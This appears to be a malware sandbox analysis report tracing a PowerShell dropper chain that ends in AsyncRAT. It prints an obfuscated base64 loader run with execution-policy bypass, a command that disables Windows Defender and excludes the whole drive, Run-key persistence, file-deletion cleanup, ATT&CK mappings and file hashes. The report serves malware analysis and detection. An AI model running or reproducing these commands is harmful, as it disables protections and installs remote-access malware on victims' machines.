'kend2ZHkgPSBbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdFtCeXRlXV' + '0' + '6Om5ldygpOycgOyRueXN6bS' + 'A' + 'rPS' + 'A' + 'nJHp3dmR5ID' + '0' + 'gKCRnbWRtZy' + 'A' + 'gLXNwbGl' + '0' + 'ICcnLCcnIHwgRm' + ' + 9 + ' + 'yRWFjaC1PYmplY3QgeyBbYnl' + '0' + 'ZV' + '0' + 'oJF8uVHJpbSgpKSB' + ' + 9 + ' + 'KS' + 'A' + '7Jzskbnlzem' + '0' + 'gKz' + '0' + 'gJyRzclFEby' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uJy' + 'A' + 'rICRwYmdGdC' + 'A' + 'rICcuJy' + 'A' + 'rICRISXd' + 'ZW' + 'i' + 'A' + 'rICddOjonICsgJFNEZHd3ICsgJyggJHp3dmR5ICk7Jy' + 'A' + '7JG55c3ptICs' + ' + 9 + ' + 'ICckZ3hWeEkgPS' + 'A' + 'kc3JRRG8uR2V' + '0' + 'VHlwZSggJydDbGFzc' + '0' + 'xpYnJhcnkzLkNsYXNzMScnICk7Jy' + 'A' + '7JG55c3ptICs' + ' + 9 + ' + 'ICckWERyUWQgPS' + 'A' + 'kZ3hWeEkuR2V' + '0' + 'TWV' + '0' + 'aG' + ' + 9 + ' + 'kKC' + 'A' + 'nJ3ByRlZJJycgKS4nICsgJE' + ' + 9 + ' + 'rendKICsgJyggJGdrVUlIICwgW2' + ' + 9 + ' + 'iamVjdFtdXS' + 'A' + 'oICR6Z' + '0' + 'hvVy' + 'A' + 'sICcnJX' + 'ZW' + 'bEd6JScnICwgJydEIEREQzpcV2luZG' + ' + 9 + ' + '3c1xNaWNyb3NvZnQuTkVUXEZyYW1ld2' + ' + 9 + ' + 'ya1x2NC4wLjMwMzE5XGluc3RhbGx1dGlsJycsICcnJHRydWUnJywgJFJCQmZaICkgKTsnIDskakdhZEIgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICd5YmJsbF8wMS5wczEnICkgOyRueXN6bSB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kakdhZEIgLWZvcmNlIDtTdGFydC1TbGVlcC' + 'A' + 'tcy' + 'A' + '1Oztwb3dlcnNo' + 'ZW' + 'xsIC1FeGVjdXRpb25Qb2xpY3kgYnlwYXNzIC1GaWxlICRqR2FkQi' + 'A' + '7' ;;$HSfNk ;;$GGIvy = ($uMMuq + $HSfNk) ;;$kqctz = $GGIvy ;$kqctz = $kqctz.replace('''',$OoOOF) ;$kqctz = $kqctz.replace('+ ',$OoOOF) ;$kqctz = $kqctz.replace(' ',$OoOOF) ;Function Cdqxn{;$xVYHD = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String( $kqctz ));return $xVYHD;};$gtDQD = Cdqxn; $gtDQD = ($gtDQD -replace '%vVlGz%','C:\Users\Public\vtphh的这五js') ;$JWSrQ = 'C:\Users\Public\tzmnq.p' + 's1' ; $gtDQD | Out-File -FilePath $JWSrQ -force ; powershell -ExecutionPolicy Bypass -file $JWSrQ ; "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:820
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file C:\Users\Public\tzmnq.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1100
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\ybbll_01.ps1
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4384
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1778719957.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2096
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4872
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5884
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1796
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi6f9d.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5892
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4036
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi6fc1.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5140
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4960
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui6f9d.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:6032
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:952
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui6fc1.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:412
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4344
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\fdjbz.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3944
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1768
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\tpwjb.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3080
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4696
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\tzmnq.ps1"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3064
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2744
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\ybbll_01.ps1"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3976
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5144
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5124
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\xupxi.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1708
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\grbsd.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4352
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\gcvzm.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1036
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        7⤵
        Suricata alert: AsyncRAT Malware Default X.509 Certificate Detected - Inbound
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3284
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noexit -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\bbgyb.ps1"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2364
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\grbsd.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1640
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\grbsd.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\grbsd.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5068
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\grbsd.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4936
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\grbsd.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\grbsd.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6056
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\grbsd.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:624
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\grbsd.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1832
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\grbsd.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:6136
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\grbsd.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:5676
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\grbsd.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4488
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\grbsd.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:5368
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\grbsd.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:888
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\grbsd.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4100
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\grbsd.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\grbsd.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4192
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\vtphh.js"
        6⤵
        
        PID:4584

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bbgyb.ps1

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\bbgyb.ps1
Size 320B
SHA256 4de9a3d14f926327c7e669bcc18bbcf1d44f9bca51ac87687cbb63ddf039972e
MD5 07a090a6e238e9022c4d0c596bc3ff09
SHA1 2a50240603e53aa74bc7be9ab5399d6a1b3ad088
SHA512 44d70cc7b6b7e85d4e1a94010d69b425112b188e0e98a556cecca89caf13d7d55f0bad35a4ad3e58e388c9dfc7dd4143e43bf8cb3b347bfb65d314b125c56e1b
TLSH
T1D2E026103CA586B88963C8366296ABB0CA73E92C330D1101736B864FF600A29546C65D
MD5 SHA1 SHA512 TLSH

Submit Download

gcvzm.ps1

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\gcvzm.ps1
Size 16.0MB
SHA256 fed5f0c0f56c0554f683f051878db02963e6a192b64f730a629389fbc8b66c3a
MD5 224c264fc52f8256e4a9a9238f40cd33
SHA1 3f5a817908c3bc8ab31d856332692db81e9db07a
SHA512 6a236acaf3c5743f73eccd6229e10bba37b889ee83bcd4f56fe58482243f9dca3c038e65f9dbfb06dad440cf6d87912ecb50276b89550cd8317484dbf46eab8a
SSDEEP 3072:QtOt3vMuaZM+azD9lKu67hKuvi61wmdqMSke+Z/IpGNYMkYKifz5rwiCMx9kgxB3:G
TLSH
T1DB07FD3DCEE8423EC2B7C929D9CA4A17F85A091B230CFD4A64D773A755271837CA215E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

grbsd.ps1

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\grbsd.ps1
Size 423B
SHA256 cd3582dc7774b0bb6c4e33918ebf6ff76f903456f021d47b707808010f81d2f1
MD5 03e230e4c2e63018b6a0115b2fe41989
SHA1 b54c0a4ee15883a16c2ec0dd0082259348a07cf7
SHA512 85246c9e1ed97fc27d3a2c412690e2c0b3fa04e4ef7ff835ebd6a6cd105031a95f29426ef511a60150f0a94f300106e78f01e1c4d0c6bf31ddc55675222df5ae
TLSH
T1F5E05C0079505168C6D1A41083816AB08A67C24C33281201336ACB0FF20861E547D3A6
MD5 SHA1 SHA512 TLSH

Submit Download

xupxi.ps1

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\xupxi.ps1
Size 418B
SHA256 e6f5399f3bdb910eba3cd1d08d08cfc37f69d20e99b97d20ba4b73355f0ce91b
MD5 97eb4214cf9f8977356f8748f2b4a5a3
SHA1 25cde5cffdaa7baebdc82328c9cf6bf493f3faf8
SHA512 d9f0eb7d3d396a2772c5820e24d4bdfcc60c67ca02d24d49fe91dc6d008790d8002ef7dd22d4358f32eaa3a5a090fb247639f86eea612c9ebfb2add01335c25b
TLSH
T143E0AB00B9545278CAD2A4208381BAB0CA77C24D33281201336FDF0FF208A1B407D3B6
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
SSDEEP 1536:0YaC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5d:0YaC+jH04tAHk1cMrxyNhftflJdvYoFw
TLSH
T170334093E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download